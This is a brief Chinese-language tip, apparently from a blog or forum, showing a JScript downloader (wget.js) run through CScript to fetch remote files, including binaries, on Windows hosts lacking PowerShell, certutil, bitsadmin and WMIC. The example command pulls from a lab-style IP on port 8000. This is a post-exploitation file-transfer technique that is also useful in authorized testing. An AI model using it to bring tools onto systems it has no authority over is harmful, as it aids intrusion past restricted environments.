在一个没有 PowerShell、WMIC、bitsadmin、certutil.exe 的环境下,使用 CScript 下载远程文件:
wget.js
:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
/* To save a binary file use this code instead of previous line
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("out.bin");
*/
执行:
cscript /nologo wget.js http://10.10.14.24:8000/systeminfo
网友评论